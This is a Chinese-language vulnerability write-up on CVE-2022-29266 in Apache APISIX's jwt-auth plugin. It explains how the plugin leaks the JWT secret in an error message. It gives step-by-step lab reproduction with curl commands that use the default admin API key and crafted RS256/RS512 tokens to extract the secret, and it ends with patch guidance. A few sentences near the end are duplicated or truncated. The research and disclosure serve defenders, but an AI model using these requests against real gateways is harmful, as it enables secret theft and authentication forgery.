APISIX CVE-2022-29266 漏洞分析與復現

語言: CN / TW / HK

點擊藍字

關注我們

聲明

本文作者:teamssix

本文字數:7260

閲讀時長:20min

附件/鏈接 :點擊查看原文下載

本文屬於【狼組安全社區】原創獎勵計劃,未經許可禁止轉載

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,狼組安全團隊以及文章作者不為此承擔任何責任。

狼組安全團隊有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經狼組安全團隊允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

CVE-2022-29266 這個漏洞已經出現有些時間了,正好現在有時間,網上也出現了不少分析文章,今天來看看這個漏洞。

在 2.13.1 之前的 Apache APISIX 中,由於 APISIX 中的 jwt-auth 插件依賴於 lua-resty-jwt 庫,而在 lua-resty-jwt 庫返回的錯誤信息中可能會包含 JWT 的 sceret 值,因此對於開啟了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,從而造成對 JWT 的偽造風險。

影響版本:

低於 2.13.1 的 Apache APISIX 全部版本。

一、

首要介紹

APISIX

Apache APISIX 是一個由 Apache 基金會孵化的一個開源的雲原生 API 網關,具有高性能、可擴展的特點,與傳統的 API 網關相比,APISIX 是通過插件的形式來提供負載均衡、日誌記錄、身份鑑權、流量控制等功能。

JWT

JSON Web Token 縮寫成 JWT,常被用於和服務器的認證場景中,這一點有點類似於 Cookie 裏的 Session id

JWT 支持 HS256、RS256、RS512 等等算法,JWT 由三部分構成,分別為 Header(頭部)、Payload(負載)、Signature(簽名),三者以小數點分割。

JWT 的第三部分 Signature 是對 Header 和 Payload 部分的簽名,起到防止數據篡改的作用,如果知道了 Signature 內容,那麼就可以偽造 JWT 了。

JWT 的格式類似於這樣:

Header.Payload.Signature

實際遇到的 JWT 一般是這種樣子

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

二、

漏洞分析

首先根據官方倉庫的漏洞修復代碼定位到 /apisix/plugins/jwt-auth.lua 文件的第 364 行,如果 JWT 無效則在 return 返回 401 並給出無效的原因,即 jwt_obj.reason

接着在 lua-resty-jwt 庫中找到 lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有個 jwt_obj.reason 中包含了 secret,這裏代碼的意思是説,如果程序執行正常就返回 secret 的值,否則就返回具體的異常信息。

.. 表示字符串拼接,即把後面代碼的值拼接到字符串中

err and err or secret 所表示的意思是:如果 err 為 nil,則返回 secret 的值,否則返回 err

那麼接下來要做的就是怎麼樣構建 payload 才能讓代碼進入到第 782 行,從而讓 jwt_obj.reason 返回我們想要的 secret 呢?那麼就要看看 782 行上面的代碼。

通過上圖可以看到,如果想執行到第 782 行,需要滿足四個條件,分別如下:

  • 756 行,JWT 的算法需要是 RS256 或者 RS512

  • 758 行,trusted_certs_file 值需要為 nil

  • 774 行,secret 值不能為 nil

  • 781 行,cert 的值需要為 nil 或者 false

~= 表示不等於

首先,第一個條件,JWT 的算法需要是 RS256 或者 RS512,這個很簡單,只需要 JWT 的 header 部分的 alg 參數為 RS256 或者 RS512 即可。

接着,第二個條件,trusted_certs_file 即信任證書文件,APISIX 默認算法是 HS256,而 HS256 和 HS512 不支持這種證書文件的方式,因此只要我們使用 HS256  或者 HS512 算法就行了。

然後,第三個條件,secret 值不能為 nil,當 APISIX 使用 jwt-auth 插件的時候,如果使用的默認算法,就需要指定 secret 的值,那麼這個 secret 的值就不會是 nil 了。

最後,第四個條件,cert 的值需要為 nil 或者 false,在 776 行至 779 行的代碼中,可以看到會判斷 secret 中有沒有 CERTIFICATE 和 PUBLIC KEY,如果有那麼 cert 就不會是 nil 了,那麼也就是説,只要 secret 中沒有 CERTIFICATE 和 PUBLIC KEY,代碼就會執行到第 782 行,並且返回 secret 的值。

所以分析到這裏就基本清楚了,漏洞利用的前提有以下三個:

  • APISIX 需要開啟 jwt-auth 插件

  • jwt-auth 插件算法需要是 HS256 或者 HS512

  • secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串

如果滿足了這三個前提,當我們利用 RS256 或者 RS512 的 JWT 值發送給 APISIX 的時候,我們就會得到 jwt-auth 中的 secret,從而實現 JWT 偽造了。

那麼下面就開始搭環境,復現,順便驗證下漏洞分析的正確性。

三、

環境搭建

在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶場,APISIX 版本為 2.11.0,因此我們可以直接用這個靶場作為 CVE-2022-29266 的靶場進行復現。

環境搭建命令:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/apisix/CVE-2020-13945
docker-compose up -d

訪問 http://your-ip:9080 地址即可

四、

漏洞復現

首先需要一個 RS256 算法的 JWT 值,這裏為了方便直接在 jwt.io 中生成,只需要將算法改為 RS256,Payload 改為以下內容即可,注意 Payload 中的 key 值需要和下面創建 consumer 對象時的 key 一致。

{"key": "rs-key"}

生成的 JWT 值如下:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg

接着創建一個 consumer 對象,並設置 jwt-auth 的值,默認是 HS256 算法,secret  值為 teamssix-secret-key

curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "jack",
"plugins": {
"jwt-auth": {
"key": "rs-key",
"secret": "teamssix-secret-key"
}
}
}'

然後再創建 Route 對象,並開啟 jwt-auth 插件

curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'

這時其實漏洞環境才算搭好,接下來就可以開始發送 Payload 了

將剛才由 RS256 算法生成的 JWT 值發送給 HS256 算法驗證的路由,這樣就可以獲得剛才設置的 secret 值了。

curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i

當我們拿到這個 sceret 值後,就可以偽造 JWT Token 了。

那麼根據上面的漏洞分析,這裏如果使用 RS512 算法應該也能觸發這個漏洞,在 jwt.io 上生成 RS512 的 JWT 值如下:

eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.bMCMT2wCP8X6duvDDuaR232ae3XkA3d2g-FKvI-D73sk8nTRWZEfovoh_FFi5PquyC81J5i5bED-rh1RMuDHlJVMYDKTP-EPdoRxugBdCCq9iEL3A004PTQM21rWLcPe1SOqp2Qvcf41iH-5r5Zs5cuAraQm4qFyhooCziSIPNnbyb8VUMx6k7fGS-WIBMVti-SjG5dEGLwAckCjc_XYMPrHqMRFYU_sB6jY05xX_9u5PFnuOQiu-q3c7gZLHdVSzHeYQGct-nrjcrM2VHvdkMIwMOr25UMhu200HFDhpLXuWpic7WC-rtztTZOtZne7UZ4s6MlnJavZiXWEq3Ove

利用 curl 訪問

curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.bMCMT2wCP8X6duvDDuaR232ae3XkA3d2g-FKvI-D73sk8nTRWZEfovoh_FFi5PquyC81J5i5bED-rh1RMuDHlJVMYDKTP-EPdoRxugBdCCq9iEL3A004PTQM21rWLcPe1SOqp2Qvcf41iH-5r5Zs5cuAraQm4qFyhooCziSIPNnbyb8VUMx6k7fGS-WIBMVti-SjG5dEGLwAckCjc_XYMPrHqMRFYU_sB6jY05xX_9u5PFnuOQiu-q3c7gZLHdVSzHeYQGct-nrjcrM2VHvdkMIwMOr25UMhu200HFDhpLXuWpic7WC-rtztTZOtZne7UZ4s6MlnJavZiXWEq3Ovew -i

果然使用 RS512 算法同樣可以觸發,説明漏洞分析的沒毛病。

接着看看如果 secret 中包含了 CERTIFICATE 和 PUBLIC KEY 字符串,會返回什麼。

重新開一個環境後,創建一個 consumer 對象,這次 secret 設置為 teamssix-CERTIFICATE

curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "jack",
"plugins": {
"jwt-auth": {
"key": "rs-key",
"secret": "teamssix-CERTIFICATE"
}
}
}'

創建 Route 對象,並開啟 jwt-auth 插件

curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'

觸發漏洞

curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i

可以看到,這裏並沒有返回剛才設置的 secret 值,而是返回了 not enough data,即 err 的信息,這表明此時 cert 的值已經不為 nil 了,再次證明了上面的分析。

五、

代碼修復

觀察 APISIX 的漏洞修復信息,可以看到對 jwt-auth.lua 文件的第 364 和 395 行進行了修改,修復信息地址:https://github.com/apache/apisix/commit/61a48a2524a86f2fada90e8196e147538842db89

這裏是將原來的直接返回報錯原因改成了返回 JWT token invalid 和 JWT token verify failed 的文本信息。

六、

修復方案

  • 升級至 Apache APISIX 2.13.1 及以上版本

  • 安裝補丁包,補丁包地址詳見:https://apisix.apache.org/zh/blog/2022/04/20/cve-2022-29266

在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶場,APISIX 版本為 2.11.0,因此我們可以直接用這個靶場作為 CVE-2022-29266 的靶場進行復現。在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶場,APISIX 版本為 2.11.0,因此我們可以直接用這個靶場作為 CVE-2022-29266 的靶場進行復現。

後記

在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶場,APISIX 版本為 2.11.0,因此我們可以直接用這個靶場作為 CVE-2022-29266 的靶場進行復

這個漏洞最終造成的風險是 JWT 偽造,但前提是需要對方的 APISIX 開啟了 jwt-auth 插件才行,並且如果有細心的讀者可能會發現,當我們構造 RS256 算法的 JWT 時,需要先知道目標 APISIX consumer 對象的 key 值,因此這個漏洞利用起來還是有一定限制的。

這篇文章也已經同步到了 T Wiki 雲安全知識文庫中,文庫地址:wiki.teamssix.com,文庫中都是雲安全相關的文章,並且有很多來自大家共同貢獻的雲安全資源,也非常歡迎你一起來補充 T Wiki 雲安全知識文庫。

由於筆者個人的技術水平有限,因此如果文章中有什麼不正確的地方,歡迎在留言處指正,不勝感激。

參考鏈接:

https://t.zsxq.com/mqnAeeY

https://www.jianshu.com/p/1b2c56687d0d

https://teamssix.com/211214-175948.html

https://apisix.apache.org/blog/2022/04/20/cve-2022-29266

https://zone.huoxian.cn/d/1130-apache-apisix-jwt-cve-2022-29266

TeamsSix

我靠着那加給我力量的,凡事都能作。

(腓立比書 4:13 和合本)

掃描關注公眾號回覆加羣

和師傅們一起討論研究~

WgpSec狼組安全團隊

微信號:wgpsec

Twitter:@wgpsec